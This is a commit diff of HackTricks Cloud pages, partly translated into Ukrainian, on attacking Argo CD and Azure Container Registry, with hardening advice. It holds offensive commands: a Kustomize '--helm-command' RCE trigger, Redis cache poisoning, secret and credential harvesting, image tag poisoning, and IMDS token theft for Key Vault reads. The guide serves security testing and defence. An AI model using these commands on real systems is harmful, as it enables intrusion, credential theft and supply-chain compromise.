mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/RE
This commit is contained in:
Translator
Binary file not shown.
@@ -1,21 +1,21 @@
|
||||
# Argo CD Security
|
||||
# Безпека Argo CD
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Основна інформація
|
||||
|
||||
[Argo CD](https://argo-cd.readthedocs.io/) is a GitOps continuous delivery platform for Kubernetes. It watches Git repositories, renders Kubernetes manifests with tools such as Helm, Kustomize, Jsonnet or config management plugins, and reconciles the live cluster state with the desired state stored in Git.
|
||||
[Argo CD](https://argo-cd.readthedocs.io/) — це платформа безперервної доставки GitOps для Kubernetes. Вона відстежує Git-репозиторії, рендерить Kubernetes-маніфести за допомогою таких інструментів, як Helm, Kustomize, Jsonnet або config management plugins, і узгоджує фактичний стан кластера з бажаним станом, що зберігається в Git.
|
||||
|
||||
Зі сторони attacker, treat Argo CD as a **deployment engine with Kubernetes credentials**. A useful Argo CD compromise can lead to:
|
||||
З точки зору зловмисника, розглядайте Argo CD як **deployment engine із Kubernetes credentials**. Успішна компрометація Argo CD може призвести до:
|
||||
|
||||
- Access to private Git repositories and repository credentials.
|
||||
- Access to Kubernetes cluster secrets used by Argo CD.
|
||||
- Manifest generation code execution in `argocd-repo-server`.
|
||||
- Unauthorized Kubernetes object deployment through trusted Git repositories, Argo CD applications, or cache manipulation.
|
||||
- Доступу до приватних Git-репозиторіїв і credentials репозиторіїв.
|
||||
- Доступу до secrets Kubernetes-кластера, які використовує Argo CD.
|
||||
- Виконання коду під час генерації маніфестів у `argocd-repo-server`.
|
||||
- Несанкціонованого розгортання Kubernetes-об’єктів через довірені Git-репозиторії, Argo CD applications або маніпуляції з cache.
|
||||
|
||||
## Architecture & Interesting Components
|
||||
## Архітектура та цікаві компоненти
|
||||
|
||||
Common Kubernetes objects and services:
|
||||
Поширені Kubernetes-об’єкти та сервіси:
|
||||
```bash
|
||||
kubectl get pods,svc,endpoints,ingress -A | grep -iE 'argocd|argo-cd'
|
||||
kubectl get applications,appprojects,applicationsets -A 2>/dev/null
|
||||
@@ -24,21 +24,21 @@ kubectl get networkpolicy -n argocd 2>/dev/null
|
||||
```
|
||||
Цікаві сервіси:
|
||||
|
||||
- **`argocd-server`**: public API, web UI, CLI API, authentication and authorization.
|
||||
- **`argocd-application-controller`**: порівнює desired і live state, потім застосовує resources до Kubernetes.
|
||||
- **`argocd-repo-server`**: клонують repositories, кешує Git data, і запускає Helm/Kustomize/Jsonnet/plugins для генерації manifests. Стандартний gRPC port — **8081**.
|
||||
- **`argocd-redis`**: cache для application, manifest і Git reference data. Стандартний Redis port — **6379**.
|
||||
- **`argocd-applicationset-controller`**: генерує Argo CD `Application` objects з generators, таких як Git, SCM, clusters і pull requests.
|
||||
- **`argocd-server`**: публічний API, web UI, CLI API, автентифікація та авторизація.
|
||||
- **`argocd-application-controller`**: порівнює бажаний і поточний стан, а потім застосовує ресурси до Kubernetes.
|
||||
- **`argocd-repo-server`**: клонує репозиторії, кешує Git data та запускає Helm/Kustomize/Jsonnet/plugins для генерації маніфестів. Порт gRPC за замовчуванням — **8081**.
|
||||
- **`argocd-redis`**: кеш даних application, маніфестів і Git reference. Порт Redis за замовчуванням — **6379**.
|
||||
- **`argocd-applicationset-controller`**: генерує об’єкти Argo CD `Application` за допомогою generator-ів, таких як Git, SCM, кластери та pull requests.
|
||||
|
||||
З compromised pod або internal network segment, перевірте internal reachability:
|
||||
Із скомпрометованого pod-а або внутрішнього мережевого сегмента перевірте внутрішню доступність:
|
||||
```bash
|
||||
nc -vz <argocd-server> 443
|
||||
nc -vz <argocd-repo-server> 8081
|
||||
nc -vz <argocd-redis> 6379
|
||||
```
|
||||
## Public API / UI Attacks
|
||||
## Атаки на Public API / UI
|
||||
|
||||
Якщо у вас є Argo CD credentials або exposed instance, почніть із звичайної API surface:
|
||||
Якщо у вас є облікові дані Argo CD або доступний ззовні екземпляр, почніть зі стандартної поверхні API:
|
||||
```bash
|
||||
argocd login <argocd-server>
|
||||
argocd account get-user-info
|
||||
@@ -49,15 +49,15 @@ argocd repo list
|
||||
argocd cluster list
|
||||
argocd admin settings rbac can <subject> <action> <resource> <object>
|
||||
```
|
||||
Корисні paths для attack:
|
||||
Корисні шляхи атак:
|
||||
|
||||
- **Application write access**: змініть `source.repoURL`, `source.path`, Helm values, Kustomize options, plugin settings або sync options, щоб Argo CD розгортав manifests, контрольовані attacker.
|
||||
- **Project misconfiguration**: об’єкти `AppProject` можуть дозволяти широкі `sourceRepos`, широкі `destinations`, небезпечний `clusterResourceWhitelist` або слабкі namespace restrictions.
|
||||
- **Repository credential abuse**: repository secrets, GitHub App credentials, SSH keys і tokens можуть дозволити push у trusted repos або додавання malicious dependencies.
|
||||
- **Cluster credential abuse**: cluster secrets можуть містити bearer tokens або exec-provider configuration, які Argo CD використовує для deploy у target clusters.
|
||||
- **Local admin / project tokens**: long-lived Argo CD tokens можна повторно використовувати через API, якщо їх не revoked або не expired.
|
||||
- **Доступ на запис до Application**: змініть `source.repoURL`, `source.path`, значення Helm, параметри Kustomize, налаштування plugin або параметри sync, щоб Argo CD розгорнув manifests, контрольовані attacker.
|
||||
- **Неправильна конфігурація Project**: об’єкти `AppProject` можуть дозволяти широкі `sourceRepos`, широкі `destinations`, небезпечний `clusterResourceWhitelist` або слабкі обмеження namespace.
|
||||
- **Зловживання обліковими даними Repository**: secrets репозиторіїв, облікові дані GitHub App, SSH keys і tokens можуть дозволити виконувати push до trusted repos або додавати malicious dependencies.
|
||||
- **Зловживання обліковими даними Cluster**: secrets кластера можуть містити bearer tokens або конфігурацію exec-provider, яку Argo CD використовує для розгортання в target clusters.
|
||||
- **Локальні admin / project tokens**: довгоживучі tokens Argo CD можна повторно використовувати через API, якщо їх не відкликано або не завершено їхній термін дії.
|
||||
|
||||
Перелічіть configuration з Kubernetes, коли маєте cluster read access:
|
||||
Перелічіть конфігурацію з Kubernetes, якщо маєте доступ на читання кластера:
|
||||
```bash
|
||||
kubectl get applications.argoproj.io -A -o yaml
|
||||
kubectl get appprojects.argoproj.io -A -o yaml
|
||||
@@ -65,26 +65,26 @@ kubectl get applicationsets.argoproj.io -A -o yaml
|
||||
kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey'
|
||||
kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml
|
||||
```
|
||||
## Зловживання Trusted Git Repository
|
||||
## Зловживання довіреним Git-репозиторієм
|
||||
|
||||
If you can push to a repository trusted by Argo CD, you can usually influence what is deployed. Impact depends on the `AppProject` boundaries and the service account permissions used by the application controller.
|
||||
Якщо ви можете виконувати push до репозиторію, якому довіряє Argo CD, зазвичай ви можете впливати на те, що буде розгорнуто. Вплив залежить від меж `AppProject` і дозволів service account, які використовує application controller.
|
||||
|
||||
Common payload locations:
|
||||
Поширені місця для payload:
|
||||
|
||||
- Raw Kubernetes YAML under an application path.
|
||||
- Helm chart templates and `values.yaml`.
|
||||
- Kustomize overlays, remote bases and generators.
|
||||
- Jsonnet or config management plugin input.
|
||||
- ApplicationSet generator files that create or update `Application` objects.
|
||||
- Необроблений Kubernetes YAML у шляху application.
|
||||
- Шаблони Helm chart і `values.yaml`.
|
||||
- Kustomize overlays, remote bases і generators.
|
||||
- Вхідні дані Jsonnet або config management plugin.
|
||||
- Файли generator для ApplicationSet, які створюють або оновлюють об'єкти `Application`.
|
||||
|
||||
Check whether the app uses automated sync, pruning, self-heal, sync windows or manual approvals:
|
||||
Перевірте, чи використовує app automated sync, pruning, self-heal, sync windows або manual approvals:
|
||||
```bash
|
||||
kubectl get applications.argoproj.io -A \
|
||||
-o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server'
|
||||
```
|
||||
## Пряме зловживання `argocd-repo-server`
|
||||
|
||||
Не припускайте, що публічний Argo CD API — це єдина attack surface. Внутрішні компоненти Argo CD взаємодіють з `argocd-repo-server` через gRPC. Якщо arbitrary pods можуть дістатися до repo-server, attacker-controlled internal requests можуть обійти перевірки, які зазвичай enforced by `argocd-server`.
|
||||
Не припускайте, що публічний Argo CD API є єдиною поверхнею атаки. Внутрішні компоненти Argo CD взаємодіють із `argocd-repo-server` через gRPC. Якщо довільні pods можуть підключатися до repo-server, контрольовані зловмисником внутрішні запити можуть обходити перевірки, які зазвичай виконує `argocd-server`.
|
||||
|
||||
Практичні перевірки:
|
||||
```bash
|
||||
@@ -94,20 +94,20 @@ nc -vz <argocd-repo-server> 8081
|
||||
```
|
||||
Цікаві ознаки:
|
||||
|
||||
- gRPC endpoint repo-server доступний із non-Argo CD pods.
|
||||
- NetworkPolicies відсутні або лише allow-list egress без deny ingress.
|
||||
- repo-server має доступ до custom config management plugins, decryption tools або repository content від multiple tenants.
|
||||
- Redis доступний із non-Argo CD pods, що дає змогу переглядати або змінювати cache, якщо credentials доступні або не потрібні.
|
||||
- gRPC endpoint repo-server доступний із pod'ів, які не належать Argo CD.
|
||||
- NetworkPolicies відсутні або дозволяють лише egress без заборони ingress.
|
||||
- repo-server має доступ до custom config management plugins, інструментів розшифрування або вмісту репозиторіїв кількох tenants.
|
||||
- Redis доступний із pod'ів, які не належать Argo CD, що дає змогу перевіряти або підміняти cache, якщо credentials доступні або не потрібні.
|
||||
|
||||
## Unauthenticated Repo-Server RCE via Kustomize Options
|
||||
## Неавтентифікований RCE через Kustomize Options
|
||||
|
||||
У липні 2026 року Synacktiv опублікувала chain виконання коду без автентифікації в `repo-server` Argo CD, коли attacker може дістатися внутрішнього gRPC service. Атака зловживає прямим доступом до `/repository.RepoServerService/GenerateManifest` і керованим attacker-ом `KustomizeOptions`.
|
||||
У липні 2026 року Synacktiv розкрила ланцюжок виконання коду без автентифікації в Argo CD, коли attacker може отримати доступ до внутрішнього gRPC service `repo-server`. Атака зловживає прямим доступом до `/repository.RepoServerService/GenerateManifest` і контрольованими attacker'ом `KustomizeOptions`.
|
||||
|
||||
Небезпечний primitive — змусити repo-server клонувати repository content під контролем attacker-а і запускати Kustomize з Helm support:
|
||||
Небезпечна primitive полягає у примушуванні repo-server клонувати контрольований attacker'ом вміст репозиторію та запускати Kustomize з підтримкою Helm:
|
||||
```bash
|
||||
kustomize build <attacker_repo_path> --enable-helm --helm-command ./payload.sh
|
||||
```
|
||||
Мінімальний malicious Kustomize input, потрібний для trigger Helm processing:
|
||||
Мінімальний шкідливий вхідний файл Kustomize має ініціювати обробку Helm:
|
||||
```yaml
|
||||
helmCharts:
|
||||
- name: pwn
|
||||
@@ -115,54 +115,54 @@ version: 0.0.1
|
||||
```
|
||||
Чому це працює:
|
||||
|
||||
- `argocd-repo-server` клонує repository перед rendering.
|
||||
- `--helm-command ./payload.sh` розв’язується відносно клонованого repository.
|
||||
- Code execution не потребує shell metacharacter injection, якщо attacker може контролювати rendered repository і Kustomize build options.
|
||||
- `argocd-repo-server` клонує репозиторій перед рендерингом.
|
||||
- `--helm-command ./payload.sh` визначає шлях відносно клонованого репозиторію.
|
||||
- Code execution не потребує ін'єкції shell метасимволів, якщо атакувальник може контролювати репозиторій, що рендериться, і параметри збірки Kustomize.
|
||||
|
||||
На момент disclosure від Synacktiv 1 липня 2026 року вони повідомили, що issue не мала офіційного fix або CVE. Розглядайте це насамперед як network-exposure issue: exploitation вимагає reachability до internal repo-server gRPC port.
|
||||
На момент розкриття Synacktiv 1 липня 2026 року вони повідомили, що проблема не мала офіційного fix або CVE. Передусім розглядайте це як проблему мережевої доступності: для експлуатації потрібна доступність внутрішнього gRPC-порту repo-server.
|
||||
|
||||
## Redis Cache Poisoning to Deploy Manifests
|
||||
## Отруєння кешу Redis для розгортання маніфестів
|
||||
|
||||
Після code execution у `argocd-repo-server`, або після direct access до Redis із valid credentials, перевірте Redis-backed cache entries. Argo CD зазвичай зберігає gzip-compressed JSON values.
|
||||
Після Code execution у `argocd-repo-server` або безпосереднього доступу до Redis із дійсними обліковими даними перевірте записи кешу, що зберігаються в Redis. Argo CD зазвичай зберігає стиснені gzip JSON-значення.
|
||||
|
||||
Interesting key prefixes:
|
||||
Цікаві префікси ключів:
|
||||
```text
|
||||
mfst|... # cached rendered manifests
|
||||
git-refs|... # Git branch/ref to commit mappings
|
||||
app|... # application resource/cache data
|
||||
cluster|... # cluster cache information
|
||||
```
|
||||
Атака cache poisoning, описана Synacktiv, зловживає двома станами:
|
||||
Атака cache poisoning, описана Synacktiv, зловживає двома елементами стану:
|
||||
|
||||
1. Змініть відповідний запис `mfst|...` у cache manifest, щоб включити Kubernetes manifest, контрольований attacker’ом.
|
||||
2. Змініть пов’язане зіставлення `git-refs|...`, щоб Argo CD повірив, що branch перемістився, а потім reconciles повернувся до cached revision.
|
||||
1. Змінити відповідний запис manifest cache `mfst|...`, додавши manifest Kubernetes, контрольований атакувальником.
|
||||
2. Змінити пов’язане зіставлення `git-refs|...`, щоб Argo CD вважав, що гілка перемістилася, а потім виконав reconcile до кешованої ревізії.
|
||||
|
||||
Impact:
|
||||
Вплив:
|
||||
|
||||
- Якщо увімкнено Auto Sync, Argo CD може автоматично застосувати poisoned cached manifest.
|
||||
- Без Auto Sync payload все ще може бути застосований, коли user вручну syncs application.
|
||||
- Остаточний impact обмежується destination цільової application та Kubernetes permissions, доступними Argo CD.
|
||||
- Якщо Auto Sync увімкнено, Argo CD може автоматично застосувати poisoned manifest із кешу.
|
||||
- Без Auto Sync payload усе одно може бути застосований, коли користувач вручну синхронізує application.
|
||||
- Кінцевий вплив обмежується destination цільової application і дозволами Kubernetes, доступними Argo CD.
|
||||
|
||||
## ApplicationSet Attacks
|
||||
## Атаки ApplicationSet
|
||||
|
||||
ApplicationSet особливо чутливий, оскільки він створює або оновлює об’єкти `Application` на основі generator output.
|
||||
ApplicationSet особливо чутливий, оскільки він створює або оновлює об’єкти `Application` на основі output генератора.
|
||||
|
||||
Review:
|
||||
Огляд:
|
||||
```bash
|
||||
kubectl get applicationsets.argoproj.io -A -o yaml
|
||||
kubectl get appprojects.argoproj.io -A -o yaml
|
||||
```
|
||||
Цікаві patterns:
|
||||
Цікаві патерни:
|
||||
|
||||
- Git generators, що читають attacker-writable files, які керують app names, paths, projects або destinations.
|
||||
- Pull request generators для public repositories, де untrusted contributors можуть впливати на generated applications.
|
||||
- Template fields, які дозволяють broad destination clusters/namespaces.
|
||||
- AppProjects, що permit `sourceRepos: ["*"]` або broad `destinations`.
|
||||
- Generated applications, які успадковують automated sync і pruning.
|
||||
- Git generators, які читають файли, доступні для запису attacker'у, що керують назвами app, шляхами, проєктами або destinations.
|
||||
- Pull request generators для публічних репозиторіїв, де ненадійні contributors можуть впливати на згенеровані applications.
|
||||
- Поля шаблонів, які дозволяють використовувати широкі кластери/namespaces призначення.
|
||||
- AppProjects, які дозволяють `sourceRepos: ["*"]` або широкі `destinations`.
|
||||
- Згенеровані applications, які успадковують automated sync і pruning.
|
||||
|
||||
## Post-Exploitation
|
||||
|
||||
З Argo CD pod shell, prioritise:
|
||||
У shell pod Argo CD пріоритезуйте:
|
||||
```bash
|
||||
env
|
||||
cat /proc/1/environ 2>/dev/null | tr '\0' '\n'
|
||||
@@ -172,23 +172,23 @@ mount | grep -E 'secret|token|config'
|
||||
Корисні цілі:
|
||||
|
||||
- Викрасти `REDIS_PASSWORD` або Redis TLS/client material.
|
||||
- Витягнути repository credentials із mounted secrets або Argo CD Kubernetes secrets.
|
||||
- Витягти облікові дані репозиторіїв із змонтованих secrets або Kubernetes secrets Argo CD.
|
||||
- Виявити cluster credentials, які використовує Argo CD.
|
||||
- Прочитати generated manifests і plugin output, які можуть містити injected secrets.
|
||||
- Перевірити, чи custom plugins, SOPS, Helm secrets, Vault plugins або cloud CLIs expose decryption keys і cloud credentials.
|
||||
- Прочитати згенеровані manifests і plugin output, які можуть містити injected secrets.
|
||||
- Перевірити, чи custom plugins, SOPS, Helm secrets, Vault plugins або cloud CLIs розкривають ключі розшифрування та cloud credentials.
|
||||
|
||||
## Detection & Hardening
|
||||
## Виявлення та посилення безпеки
|
||||
|
||||
Важливі перевірки:
|
||||
|
||||
- Обмежити `argocd-repo-server` port **8081** і Redis port **6379** за допомогою NetworkPolicies так, щоб лише очікувані компоненти Argo CD могли до них звертатися.
|
||||
- У Helm deployments перевірити, що network policies справді створюються. Значення Argo CD Helm chart historically за замовчуванням вимикали створення network policy для компонентів.
|
||||
- Залишити `argocd-server` як authenticated entry point. Internal services не мають бути доступні для довільних workloads.
|
||||
- Обмежити порти `argocd-repo-server` **8081** і Redis **6379** за допомогою NetworkPolicies, щоб лише очікувані компоненти Argo CD могли отримувати до них доступ.
|
||||
- У Helm deployments перевірити, що network policies справді створюються. Значення Argo CD Helm chart історично мали вимкнене створення network policy для компонентів за замовчуванням.
|
||||
- Залишати `argocd-server` authenticated entry point. Internal services не повинні бути доступними з довільних workloads.
|
||||
- Вимкнути невикористовувані config management tools і plugins.
|
||||
- Обмежити `AppProject` `sourceRepos`, `destinations`, namespace permissions і cluster-scoped resources.
|
||||
- Уникати зберігання широких repository credentials там, де користувач Argo CD з низькими привілеями може спричинити їх повторне використання.
|
||||
- Обмежити `AppProject` `sourceRepos`, `destinations`, permissions для namespaces і cluster-scoped resources.
|
||||
- Уникати зберігання broad repository credentials у місцях, де low-privileged Argo CD user може спричинити їх повторне використання.
|
||||
- Моніторити repo-server requests, Kustomize build options, plugin executions, Redis writes і неочікуваний доступ до ключів `mfst|` / `git-refs|`.
|
||||
- Оновити Argo CD local users, project tokens, repository credentials і cluster credentials після compromise.
|
||||
- Після compromise ротувати Argo CD local users, project tokens, repository credentials і cluster credentials.
|
||||
|
||||
Корисні команди:
|
||||
```bash
|
||||
@@ -197,23 +197,24 @@ kubectl get networkpolicy -A | grep -i argocd
|
||||
kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null
|
||||
kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null
|
||||
```
|
||||
## Примітка щодо Static Analysis: Typed API Requests in CodeQL
|
||||
## Примітка щодо статичного аналізу: Typed API Requests у CodeQL
|
||||
|
||||
For Go services using gRPC/REST handlers, default CodeQL remote sources may miss flows once raw input has been unmarshaled into typed request objects. A useful model for Argo CD-style services is:
|
||||
Для Go-сервісів, що використовують gRPC/REST handlers, стандартні remote sources CodeQL можуть пропускати flows після того, як raw input було unmarshaled у typed request objects. Корисна модель для сервісів на кшталт Argo CD:
|
||||
|
||||
- Receiver type such as `Server` or `Service`.
|
||||
- First parameter is `context.Context`.
|
||||
- Second parameter is a typed request object.
|
||||
- Тип receiver, наприклад `Server` або `Service`.
|
||||
- Перший параметр — `context.Context`.
|
||||
- Другий параметр — typed request object.
|
||||
|
||||
Model that second parameter as a remote source and add custom sinks for `exec.Command` / `exec.CommandContext` arguments. This helps find flows from internal API request fields into command execution helpers.
|
||||
Позначте цей другий параметр як remote source і додайте custom sinks для аргументів `exec.Command` / `exec.CommandContext`. Це допомагає знаходити flows від полів internal API request до command execution helpers.
|
||||
|
||||
## References
|
||||
|
||||
- [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql)
|
||||
- [Argo CD docs - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/)
|
||||
- [Argo CD docs - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/)
|
||||
- [Argo CD docs - repo-server command reference](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/)
|
||||
- [Argo CD - repo-server NetworkPolicy manifest](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml)
|
||||
- [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
|
||||
- [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
|
||||
- [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
|
||||
- [Synacktiv - Виявлено в Octopus Trap: Unauthenticated RCE в Argo CD за допомогою CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql)
|
||||
- [Документація Argo CD - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/)
|
||||
- [Документація Argo CD - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/)
|
||||
- [Документація Argo CD - repo-server command reference](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/)
|
||||
- [Argo CD - маніфест NetworkPolicy для repo-server](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml)
|
||||
- [Документація Argo CD - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
|
||||
- [Argo Helm - reference значень chart](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
|
||||
- [Kustomize - приклад генератора Helm chart](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Az - Post Exploitation
|
||||
# Az - Постексплуатація
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,4 +6,8 @@
|
||||
az-azure-ai-foundry-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
az-container-registry-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+87
@@ -0,0 +1,87 @@
|
||||
# Az - Post Exploitation Container Registry
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Registry
|
||||
|
||||
Докладніше про цей сервіс:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-registry.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write`
|
||||
|
||||
Ідентифікація з доступом до площини керування ACR може перетворити цей доступ на **багаторазово використовувані облікові дані Docker**. Якщо **admin user** вимкнено, але суб’єкт також має `registries/write`, увімкніть його, отримайте паролі та автентифікуйтеся безпосередньо проти `<registry>.azurecr.io`.
|
||||
```bash
|
||||
az acr show --resource-group <resource-group> --name <registry-name> --query adminUserEnabled
|
||||
az acr update --resource-group <resource-group> --name <registry-name> --admin-enabled true
|
||||
az acr credential show -n <registry-name>
|
||||
docker login <registry-name>.azurecr.io -u <username> -p <password>
|
||||
```
|
||||
Це корисно, оскільки отримані облікові дані можна повторно використати за межами Azure CLI, щоб **list, pull, push, overwrite, and sometimes delete** вміст реєстру, доки обліковий запис адміністратора не буде вимкнено або паролі не буде змінено.
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/pull/read`
|
||||
|
||||
Використовуйте pull-доступ для **розвідки репозиторію** та **пошуку секретів** усередині образів. Перевіряйте як остаточну конфігурацію контейнера, так і історичні шари файлової системи, оскільки файли, скопійовані в одному шарі, можуть залишатися доступними для відновлення, навіть якщо пізніше їх було видалено.
|
||||
```bash
|
||||
az acr repository list -n <registry-name>
|
||||
az acr repository show-tags -n <registry-name> --repository <repository> --detail
|
||||
docker pull <registry-name>.azurecr.io/<repository>:<tag>
|
||||
|
||||
container_id=$(docker create <registry-name>.azurecr.io/<repository>:<tag>)
|
||||
docker cp "$container_id":/ ./extracted_container
|
||||
docker rm "$container_id"
|
||||
docker inspect <registry-name>.azurecr.io/<repository>:<tag> | jq -r '.[0].Config.Env[]?'
|
||||
dive <registry-name>.azurecr.io/<repository>:<tag>
|
||||
```
|
||||
Цінні цілі включають **змінні середовища**, **конфігурації застосунків**, **скрипти розгортання**, **сертифікати**, **токени доступу** та **рядки підключення**. Щоб знайти більше ідей під час перевірки шарів, перегляньте сторінку Docker forensics:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/push/write`
|
||||
|
||||
Доступ push дає зловмиснику змогу **отруювати довірені репозиторії** або **перезаписувати змінні теги**, такі як `latest`, `prod` чи `stable`. Будь-яке робоче навантаження, яке все ще розгортається за тегом, а не за digest, може завантажити образ зловмисника під час наступного розгортання, масштабування або перезапуску.
|
||||
```bash
|
||||
# Retag an existing local image for the target ACR
|
||||
|
||||
docker tag <local-image>:<local-tag> <registry-name>.azurecr.io/<repository>:<trusted-tag>
|
||||
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
|
||||
|
||||
# If your workstation architecture differs from the target runtime, build for the consumer platform first
|
||||
|
||||
docker buildx build --platform linux/amd64 -t <registry-name>.azurecr.io/<repository>:<trusted-tag> --load .
|
||||
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
|
||||
```
|
||||
Перед заміною тега перевірте, які репозиторії та теги фактично використовуються downstream-навантаженнями. Споживачів, прив'язаних до **digest** (`@sha256:...`), значно важче перенаправити, ніж споживачів, які використовують теги.
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action`
|
||||
|
||||
Якщо ви можете одночасно **замінити image**, який використовується downstream container workload, і **перезапустити** це навантаження, шкідливий entrypoint виконається всередині **мережевого контексту та контексту managed identity** цільового контейнера. Звідти image може запитувати токени в IMDS і отримувати доступ до Azure-ресурсів, доступних цій workload identity.
|
||||
```bash
|
||||
TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token)
|
||||
curl -H "Authorization: Bearer $TOKEN" \
|
||||
'https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.4'
|
||||
az container restart --resource-group <resource-group> --name <container-name>
|
||||
```
|
||||
Це перетворює перезапис тегу ACR на **виконання коду**, **викрадення секретів** або **lateral movement** усередині будь-якого контейнерного споживача, який довіряє зміненому тегу та надає корисну ідентичність.
|
||||
|
||||
### Пов’язаний шлях privesc: керовані ідентичності ACR Tasks
|
||||
|
||||
Якщо у вас також є `Microsoft.ContainerRegistry/registries/tasks/write` і `Microsoft.ContainerRegistry/registries/runs/write`, перейдіть до шляху ACR privesc і безпосередньо скористайтеся керованою ідентичністю task:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-container-registry-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Посилання
|
||||
|
||||
- [TrustedSec - Pandora's Container Part 1: Unpacking Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security)
|
||||
- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication)
|
||||
- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest)
|
||||
- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest)
|
||||
- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -2,39 +2,39 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Основна інформація
|
||||
|
||||
Azure Container Registry (ACR) — це безпечний, приватний registry, який дозволяє **зберігати, керувати та отримувати доступ до container images в Azure cloud**. Він безшовно інтегрується з кількома Azure services, забезпечуючи автоматизовані build і deployment workflows у масштабі. Завдяки можливостям на кшталт geo-replication і vulnerability scanning, ACR допомагає забезпечити enterprise-grade security та compliance для containerized applications.
|
||||
Azure Container Registry (ACR) — це захищений приватний registry, який дає змогу **зберігати, керувати та отримувати доступ до container images у хмарі Azure**. Він безперешкодно інтегрується з кількома сервісами Azure, забезпечуючи автоматизовані процеси build і deployment у великому масштабі. Завдяки таким функціям, як geo-replication і vulnerability scanning, ACR допомагає забезпечити корпоративний рівень безпеки та відповідність вимогам для containerized applications.
|
||||
|
||||
### Permissions
|
||||
|
||||
Ось **різні permissions** [згідно з docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager), які можна надати для Container Registry:
|
||||
Ось **різні permissions** [згідно з документацією](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager), які можна надати для Container Registry:
|
||||
|
||||
- Access Resource Manager
|
||||
- Create/delete registry
|
||||
- Доступ до Resource Manager
|
||||
- Створення/видалення registry
|
||||
- Push image
|
||||
- Pull image
|
||||
- Delete image data
|
||||
- Change policies
|
||||
- Sign images
|
||||
- Видалення даних image
|
||||
- Зміна policies
|
||||
- Підпис image
|
||||
|
||||
Також є деякі **built-in roles**, які можна призначати, і також можливо створювати **custom roles**.
|
||||
Також існують деякі **вбудовані roles**, які можна призначати, а ще можна створювати **custom roles**.
|
||||
|
||||
|
||||
|
||||
|
||||
### Authentication
|
||||
|
||||
> [!WARNING]
|
||||
> Дуже важливо, що навіть якщо ім'я registry містить великі літери, для login, push і pull images завжди слід використовувати **lowercase letters**.
|
||||
